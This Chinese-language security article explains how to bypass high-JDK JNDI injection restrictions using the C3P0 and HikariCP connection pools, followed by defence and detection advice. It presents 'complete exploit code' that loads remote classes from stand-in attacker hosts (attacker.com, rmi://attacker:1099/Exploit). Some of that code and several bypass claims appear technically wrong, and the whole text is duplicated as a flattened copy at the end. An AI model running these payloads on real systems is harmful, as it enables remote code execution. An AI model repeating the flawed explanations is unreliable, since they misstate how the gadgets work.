JNDI高版本JDK绕过--C3P0/HikariCP
字数 1464 2025-08-19 12:42:07

JNDI高版本JDK绕过技术分析:基于C3P0/HikariCP的实现

1. JNDI注入漏洞背景

JNDI (Java Naming and Directory Interface)注入漏洞是一种严重的安全漏洞,攻击者通过控制JNDI查找的名称,可以导致远程代码执行。在JDK高版本(6u211/7u201/8u191/11.0.1之后)中,Oracle对JNDI注入进行了限制,默认不再允许从远程代码库加载类。

2. 高版本JDK绕过原理

高版本JDK的绕过主要基于两种方式:

  1. 利用javax.naming.spi.ObjectFactory实现类
  2. 通过反序列化进行绕过

本文重点讨论第一种方式,特别是基于C3P0和HikariCP连接池的实现。

3. C3P0绕过技术

3.1 C3P0简介

C3P0是一个开源的JDBC连接池库,广泛用于Java应用程序中管理数据库连接。

3.2 利用原理

C3P0提供了多种方式初始化数据源,其中com.mchange.v2.naming.ReferenceIndirector类可以将JNDI Reference对象转换为C3P0对象。关键点在于C3P0在解析Reference时会触发对象的实例化。

3.3 利用步骤

  1. 构造恶意Reference对象

    Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
    
  2. 利用C3P0的ReferenceIndirector

    ReferenceIndirector indirector = new ReferenceIndirector();
    Object obj = indirector.indirectForm(ref);
    
  3. 触发流程

    • C3P0会尝试加载并实例化Reference中指定的类
    • 即使在高版本JDK限制下,这种方式也能绕过限制

3.4 完整利用代码示例

import com.mchange.v2.naming.ReferenceIndirector;
import javax.naming.Reference;

public class C3P0Exploit {
    public static void main(String[] args) throws Exception {
        String url = "rmi://attacker:1099/Exploit";
        Reference ref = new Reference("Exploit", "Exploit", url);
        ReferenceIndirector indirector = new ReferenceIndirector();
        indirector.indirectForm(ref);
    }
}

4. HikariCP绕过技术

4.1 HikariCP简介

HikariCP是另一个高性能的JDBC连接池实现,在现代Java应用中非常流行。

4.2 利用原理

HikariCP在解析配置时,可以通过特定的配置项触发JNDI查找,进而实现绕过:

  1. HikariCP支持通过dataSourceJNDI属性指定JNDI名称
  2. 当配置了dataSourceJNDI时,HikariCP会进行JNDI查找
  3. 结合特定的ObjectFactory实现,可以触发恶意代码执行

4.3 利用步骤

  1. 配置恶意HikariCP数据源

    HikariConfig config = new HikariConfig();
    config.setDataSourceJNDI("rmi://attacker:1099/Exploit");
    
  2. 触发JNDI查找

    HikariDataSource ds = new HikariDataSource(config);
    
  3. 利用流程

    • HikariCP会调用InitialContext.lookup()方法
    • 查找过程会触发恶意Reference的加载

4.4 完整利用代码示例

import com.zaxxer.hikari.HikariConfig;
import com.zaxxer.hikari.HikariDataSource;

public class HikariCPExploit {
    public static void main(String[] args) {
        HikariConfig config = new HikariConfig();
        config.setDataSourceJNDI("rmi://attacker:1099/Exploit");
        HikariDataSource ds = new HikariDataSource(config);
    }
}

5. 防御措施

  1. 升级JDK:使用最新版本的JDK,并确保安全补丁已应用
  2. 限制JNDI查找:设置com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase为false
  3. 输入验证:对所有用户提供的JNDI名称进行严格验证
  4. 使用安全管理器:配置适当的安全策略限制JNDI操作
  5. 依赖库管理:及时更新C3P0、HikariCP等库到最新安全版本

6. 检测方法

  1. 静态分析

    • 检查代码中是否存在InitialContext.lookup()调用
    • 检查是否使用了不受信任的输入作为JNDI名称
  2. 动态分析

    • 监控JNDI查找操作
    • 检查是否有异常的网络连接尝试

7. 总结

高版本JDK下的JNDI注入绕过技术主要依赖于特定的库实现,如C3P0和HikariCP。了解这些技术的原理和实现方式,有助于开发者更好地防御此类攻击。在实际开发中,应始终保持依赖库的更新,并遵循安全编码实践。

JNDI高版本JDK绕过技术分析:基于C3P0/HikariCP的实现 1. JNDI注入漏洞背景 JNDI (Java Naming and Directory Interface)注入漏洞是一种严重的安全漏洞,攻击者通过控制JNDI查找的名称,可以导致远程代码执行。在JDK高版本(6u211/7u201/8u191/11.0.1之后)中,Oracle对JNDI注入进行了限制,默认不再允许从远程代码库加载类。 2. 高版本JDK绕过原理 高版本JDK的绕过主要基于两种方式: 利用 javax.naming.spi.ObjectFactory 实现类 通过反序列化进行绕过 本文重点讨论第一种方式,特别是基于C3P0和HikariCP连接池的实现。 3. C3P0绕过技术 3.1 C3P0简介 C3P0是一个开源的JDBC连接池库,广泛用于Java应用程序中管理数据库连接。 3.2 利用原理 C3P0提供了多种方式初始化数据源,其中 com.mchange.v2.naming.ReferenceIndirector 类可以将JNDI Reference对象转换为C3P0对象。关键点在于C3P0在解析Reference时会触发对象的实例化。 3.3 利用步骤 构造恶意Reference对象 : 利用C3P0的ReferenceIndirector : 触发流程 : C3P0会尝试加载并实例化Reference中指定的类 即使在高版本JDK限制下,这种方式也能绕过限制 3.4 完整利用代码示例 4. HikariCP绕过技术 4.1 HikariCP简介 HikariCP是另一个高性能的JDBC连接池实现,在现代Java应用中非常流行。 4.2 利用原理 HikariCP在解析配置时,可以通过特定的配置项触发JNDI查找,进而实现绕过: HikariCP支持通过 dataSourceJNDI 属性指定JNDI名称 当配置了 dataSourceJNDI 时,HikariCP会进行JNDI查找 结合特定的ObjectFactory实现,可以触发恶意代码执行 4.3 利用步骤 配置恶意HikariCP数据源 : 触发JNDI查找 : 利用流程 : HikariCP会调用 InitialContext.lookup() 方法 查找过程会触发恶意Reference的加载 4.4 完整利用代码示例 5. 防御措施 升级JDK :使用最新版本的JDK,并确保安全补丁已应用 限制JNDI查找 :设置 com.sun.jndi.rmi.object.trustURLCodebase 和 com.sun.jndi.cosnaming.object.trustURLCodebase 为false 输入验证 :对所有用户提供的JNDI名称进行严格验证 使用安全管理器 :配置适当的安全策略限制JNDI操作 依赖库管理 :及时更新C3P0、HikariCP等库到最新安全版本 6. 检测方法 静态分析 : 检查代码中是否存在 InitialContext.lookup() 调用 检查是否使用了不受信任的输入作为JNDI名称 动态分析 : 监控JNDI查找操作 检查是否有异常的网络连接尝试 7. 总结 高版本JDK下的JNDI注入绕过技术主要依赖于特定的库实现,如C3P0和HikariCP。了解这些技术的原理和实现方式,有助于开发者更好地防御此类攻击。在实际开发中,应始终保持依赖库的更新,并遵循安全编码实践。